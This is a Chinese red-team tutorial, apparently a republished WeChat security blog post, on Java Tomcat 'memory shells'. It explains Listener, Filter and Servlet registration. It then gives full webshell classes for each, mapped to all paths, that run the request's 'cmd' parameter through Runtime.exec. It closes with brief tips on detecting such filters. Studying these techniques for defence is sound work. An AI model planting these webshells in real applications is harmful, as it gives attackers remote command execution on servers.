写在前面
在攻防实战场景中,红队会考虑使用内存马,本文将以研究角度剖析一下该技术现实,解读红队如何通过正向添加实现内存马的功能,为之后可能遇到真正“内存马”的场景打个技术基础。
撰写过程中有些思路及内容借鉴了业内专家的文章,水平有限,如果有不足之处欢迎大家评论区留言指出。
工具介绍
Tomcat的主要功能
tomcat作为一个 Web 服务器,实现了两个非常核心的功能:
Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文。
Servlet 容器功能:加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求。
Servlet的三大基础组件
Servlet、Filter 、Listener ;处理请求时,处理顺序如下:
请求 → Listener → Filter → Servlet
需注意filter和servlet都需要配映射关系。
Listener:监听器,以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口(都有request来都会触发这个)。
Filter:过滤器,过滤一些非法请求或不当请求,一个Web应用中一般是一个filterChain链式调用其doFilter()方法,存在一个顺序问题。
Servlet: 最基础的控制层组件,用于动态处理前端传递过来的请求,每一个Servlet都可以理解成运行在服务器上的一个java程序;生命周期:从Tomcat的Web容器启动开始,到服务器停止调用其destroy()结束;驻留在内存里面。
操作 |
Filter |
Servlet |
Listener |
接口 |
继承并实现Filter接口 |
继承并实现Servlet接口或直接继承HttpServlet类 |
继承并实现Listener接口 |
常用的方法 |
init() |
init() |
requestDestroyed |
注册方式 |
配置WEB-INF/web.xml或注解@WebFilter |
配置WEB-INF/web.xml或注解@WebServlet |
配置WEB-INF/web.xml或注解@WebListener |
其它相似处 |
doFilter()方法,可以处理来自Http的请求并且可以直接操控request与response对象 |
service()方法,可以处理来自Http的请求并且可以直接操控request与response对象 |
requestDestroyed(),ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 |
功能 |
Java Web请求资源的拦截与过滤 |
主要处理客户端请求并将其结果返回给客户端 |
通过listener可以监听web服务器中某一个执行动作,并根据其要求作出相应的响应。 |
一般用途 |
通常配置在MVC/Servlet/JSP请求前面常用于后端权限控制或是进行统一的Http请求参数过滤(如:xss/sql注入等攻击检测处理) |
常用来处理后端业务请求 |
Listener是Servlet提供的扩展点,一般用于对特定对象的生命周期和特定事件进行响应处理。 |
前置知识
注解
注解其实就是代码里的特殊标记,这些标记可以在编译,类加载,运行时被读取,并执行相应的处理。通过使用注解,程序员可以在不改变原有逻辑的情况下,在源文件中嵌入一些补充信息。代码分析工具、开发工具和部署工具可以通过这些补充信息进行验证或者进行部署。
使用注解时要在其前面增加@符号,并把该注解当成一个修饰符使用。用于修饰它支持的程序元素。在java中使用注解完成配置,这样就无需在web.xml配置映射了。
(注意:在3.0之前都是通过web.xml。3.0之后可以用注解。)
在pom.xml中添加以下内容:
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
*左右滑动查看更多
重写
方法的重写: 子类中出现和父类中一模一样的方法(包括返回值类型,方法名,参数列表)。
方法重写的注意事项:
1.重写的方法必须要和父类一模一样(包括返回值类型,方法名,参数列表)。
2.重写的方法可以使用@Override注解来标识。
3.子类中重写的方法的访问权限不能低于父类中方法的访问权限。
权限修饰符 : private < 默认(什么都不写) < protected < public
为什么要重写方法:
1.当父类中的方法无法满足子类需求的时候,需要方法重写。
2.当子类具有特有的功能的时候,就需要方法重写。
Java中,一个非抽象类实现了某接口,则必须实现该接口中的所有方法。
实施方法
Listener
Listener主要分为以下三个大类:
ServletContext监听、Session监听、Request监听。
其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,目光就聚集到第三种对于请求的监听上面其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。
public class HelloListener implements ServletRequestListener
*左右滑动查看更多
常用方法
requestInitialized
每次请求创建时调用requestInitialized()。
demo:
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("这里是requestInitialized");
}
*左右滑动查看更多
requestDestroyed
每次请求销毁时调用requestDestroyed()。
demo:
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("这里是requestDestroyed");
}
*左右滑动查看更多
注册方式
注解
demo:
@WebListener
web.xml
与注解的方式作用一样,只是表现形式不同
默认的xml:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
</web-app>
*左右滑动查看更多
设置filter:
<listener>
<!-- 所在的包路径 -->
<listener-class>com.Listener.HelloListener</listener-class>
</listener>
after:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<listener>
<listener-class>com.Listener.HelloListener</listener-class>
</listener>
</web-app>
*左右滑动查看更多
运行实例
将filter设置为/*,可以实习访问任意界面,通过cmd执行命令。
package com.Listener;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;
public class HelloListener implements ServletRequestListener{
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
try {
Runtime.getRuntime().exec(req.getParameter("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("这里是requestInitialized");
}
}
*左右滑动查看更多
Filter
Filter也叫过滤器,通常配置在MVC、Servlet和JSP请求前面常用于后端权限控制
添加Filter需要实现Filter接口类:
public class HelloFilter implements Filter
*左右滑动查看更多
常用方法
implements Filter需要重写其中的方法,有下面三个:
init()
web 应用程序启动时,服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
demo:
如果在注解或web.xml中创建了参数,可以在此处初始化。
@Override
public void init(FilterConfig config) throws ServletException {
// 获取初始化参数
String origin = config.getInitParameter("origin");
String testName = config.getInitParameter("testName");
// 输出初始化参数
System.out.println("HelloFilter类起源: " + origin);
System.out.println("HelloFilter类testName值: " + testName);
}
*左右滑动查看更多
doFilter()
该方法完成实际的过滤操作,当客户端请求方法与过滤器设置匹配的URL时,Servlet容器将先调用过滤器的doFilter方法,实际执行调用执行命令也在这里。
/**
@param request 当前请求
@param response 当前响应
@param chain 用于访问后续过滤器
@throws IOException
@throws ServletException
/
demo:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//执行shell传过来的值
Runtime.getRuntime().exec(request.getParameter("shell"));
// 允许访问目标资源,简称 放行
chain.doFilter(request, response);
}
*左右滑动查看更多
destroy()
停止服务器时调用destroy()方法,销毁实例。
注册方式
注解
参数: urlPatterns
作用: 配置要拦截的资源
以指定资源匹配,例如:"/hello.jsp"
以目录匹配,例如:"/Servlet/*"
以后缀名匹配,例如:"*.jsp"
通配符,拦截所有web资源,例如:"/*"
*左右滑动查看更多
demo:
(
// 过滤器的名字
// 一般来说保持和类名一致即可
filterName = "/HelloFilter",
// 拦截所有web资源
urlPatterns = "/*")
*左右滑动查看更多
参数: initParams
作用: 配置初始化参数
demo:
(
// 过滤器的名字
// 一般来说保持和类名一致即可
filterName = "/HelloFilter",
// 初始化的参数,这里初始化了两个
initParams = {
"origin", value = "@WebFilter"), (name =
"testName", value = "testValue") (name =
})
*左右滑动查看更多
参数: dispatcherTypes
作用: 配置拦截的类型,可配置多个
默认为DispatcherType.REQUEST
其中DispatcherType是个枚举类型,有下面几个值
FORWARD //转发的
INCLUDE //包含在页面的
REQUEST //请求的
ASYNC //异步的
ERROR //出错的
*左右滑动查看更多
demo:
@WebFilter(
filterName = "/HelloFilter",
// 设置拦截
dispatcherTypes = {
DispatcherType.REQUEST,
DispatcherType.ASYNC,
DispatcherType.ERROR
})
*左右滑动查看更多
上面的三个参数整合一下:
@WebFilter(
filterName = "/HelloFilter",
urlPatterns = "/*",
initParams = {
@WebInitParam(name = "origin", value = "@WebFilter"),
@WebInitParam(name = "testName", value = "testValue")
},
dispatcherTypes = {
DispatcherType.REQUEST,
DispatcherType.INCLUDE,
DispatcherType.FORWARD,
DispatcherType.ERROR,
DispatcherType.ASYNC})
*左右滑动查看更多
web.xml
与注解的方式作用一样,只是表现形式不同。
默认的xml:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
</web-app>
*左右滑动查看更多
设置filter:
<filter>
<!-- 类名 -->
<filter-name>HelloFilter</filter-name>
<!-- 所在的包路径 -->
<filter-class>com.Filter.HelloFilter</filter-class>
</filter>
after:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<filter>
<!-- 类名 -->
<filter-name>HelloFilter</filter-name>
<!-- 所在的包路径 -->
<filter-class>com.Filter.HelloFilter</filter-class>
</filter>
</web-app>
*左右滑动查看更多
参数: urlPatterns。
<filter-mapping>
<!-- 与 <filter> 标签里面的 <filter-name> 字段保持一致 -->
<filter-name>HelloFilter</filter-name>
<!--拦截路径,表示拦截/TomcatTest这个目录的所有资源-->
<url-pattern>/TomcatTest/*</url-pattern>
</filter-mapping>
after:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<filter>
<!-- 类名 -->
<filter-name>HelloFilter</filter-name>
<!-- 所在的包路径 -->
<filter-class>com.Filter.HelloFilter</filter-class>
</filter>
<filter-mapping>
<!-- 与 <filter> 标签里面的 <filter-name> 字段保持一致 -->
<filter-name>HelloFilter</filter-name>
<!--拦截路径,表示拦截/TomcatTest/这个目录的所有资源-->
<url-pattern>/TomcatTest/*</url-pattern>
</filter-mapping>
</web-app>
*左右滑动查看更多
参数: initParams。
<init-param>
<param-name>origin</param-name>
<param-value>web.xml</param-value>
</init-param>
after:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<filter>
<!-- 类名 -->
<filter-name>HelloFilter</filter-name>
<!-- 所在的包路径 -->
<filter-class>com.Filter.HelloFilter</filter-class>
<init-param>
<param-name>origin</param-name>
<param-value>web.xml</param-value>
</init-param>
<init-param>
<param-name>testName</param-name>
<param-value>testValue</param-value>
</init-param>
</filter>
</web-app>
*左右滑动查看更多
参数:dispatcherTypes。
如果不写默认为:
<dispatcher>REQUEST</dispatcher>
after:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<filter>
<!-- 类名 -->
<filter-name>HelloFilter</filter-name>
<!-- 所在的包路径 -->
<filter-class>com.Filter.HelloFilter</filter-class>
</filter>
<filter-mapping>
<!-- 与 <filter> 标签里面的 <filter-name> 字段保持一致 -->
<filter-name>HelloFilter</filter-name>
<!--拦截路径,表示拦截/TomcatTest这个目录的所有资源-->
<url-pattern>/TomcatTest/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>INCLUDE</dispatcher>
<dispatcher>ERROR</dispatcher>
</filter-mapping>
</web-app>
*左右滑动查看更多
完整的配置:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<filter>
<!-- 类名 -->
<filter-name>HelloFilter</filter-name>
<!-- 所在的包路径 -->
<filter-class>com.Filter.HelloFilter</filter-class>
<init-param>
<param-name>origin</param-name>
<param-value>web.xml</param-value>
</init-param>
<init-param>
<param-name>testName</param-name>
<param-value>testValue</param-value>
</init-param>
</filter>
<filter-mapping>
<!-- 与 <filter> 标签里面的 <filter-name> 字段保持一致 -->
<filter-name>HelloFilter</filter-name>
<!--拦截路径,表示拦截/TomcatTest这个目录的所有资源-->
<url-pattern>/TomcatTest/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>INCLUDE</dispatcher>
<dispatcher>ERROR</dispatcher>
</filter-mapping>
</web-app>
*左右滑动查看更多
运行实例
访问任意界面,通过cmd执行命令。
package com.Filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
(
filterName = "/HelloFilter",
urlPatterns = "/*",
dispatcherTypes = {
DispatcherType.REQUEST,
DispatcherType.INCLUDE,
DispatcherType.FORWARD,
DispatcherType.ERROR,
DispatcherType.ASYNC})
public class HelloFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
}
public void destroy() {
}
}
*左右滑动查看更多
Servlet
public class HelloServlet extends HttpServlet
*左右滑动查看更多
或者
public class HelloServlet implements Servlet
*左右滑动查看更多
常用方法
下面的方法说的是通过继承HttpServlet类实现的。
service()
会自动判断请求方法,然后做出响应操作。
protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println(request.getMethod()); //打印本次的请求方法
}
*左右滑动查看更多
doGet()
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 使用 GBK 设置中文正常显示
response.setCharacterEncoding("GBK");
response.getWriter().write("HelloServlet类GET方法被调用");
}
*左右滑动查看更多
doPost()
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 使用 GBK 设置中文正常显示
response.setCharacterEncoding("GBK");
response.getWriter().write("HelloServlet类POST方法被调用");
}
*左右滑动查看更多
注册方式
注解
Servlet实现类HelloServlet
注册一个注解,这样方便我们不通过 web.xml 也可以在web中访问该类。
"/servlet") (
public class HelloServlet extends HttpServlet {
*左右滑动查看更多
web.xml
<servlet>
<!-- 类名 -->
<servlet-name>HelloServlet</servlet-name>
<!-- 所在的包路径 -->
<servlet-class>com.Servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<!-- 与 <servlet> 标签里面的 <servlet-name> 字段保持一致 -->
<servlet-name>HelloServlet</servlet-name>
<!-- web访问的网址 -->
<url-pattern>/TomcatTest/HelloServlet</url-pattern>
</servlet-mapping>
after:
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<servlet>
<!-- 类名 -->
<servlet-name>HelloServlet</servlet-name>
<!-- 所在的包路径 -->
<servlet-class>com.Servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<!-- 与 <servlet> 标签里面的 <servlet-name> 字段保持一致 -->
<servlet-name>HelloServlet</servlet-name>
<!-- web访问的网址 -->
<url-pattern>/TomcatTest/HelloServlet</url-pattern>
</servlet-mapping>
</web-app>
*左右滑动查看更多
运行实例
访问任意界面,通过cmd执行命令。
package com.Servlet;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
"/*") (
public class HelloServlet implements Servlet {
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
*左右滑动查看更多
或者
package com.Servlet;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
"/*") (
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 使用 GBK 设置中文正常显示
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
*左右滑动查看更多
防御建议
如何识别内存马:
了解大致原理后,感兴趣的读者们可以参考这篇文章:
https://gv7.me/articles/2020/kill-java-web-filter-memshell
*左右滑动查看更多
以filter举例,可以下面几个角度去排查、识别内存马:
-
filter名字很特别;
-
filter优先级是第一位;
-
对比web.xml中没有filter配置;
-
特殊classloader加载;
-
对应的classloader路径下没有class文件;
-
Filter的doFilter方法中有恶意代码。
— 往期回顾 —
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 初探JAVA内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论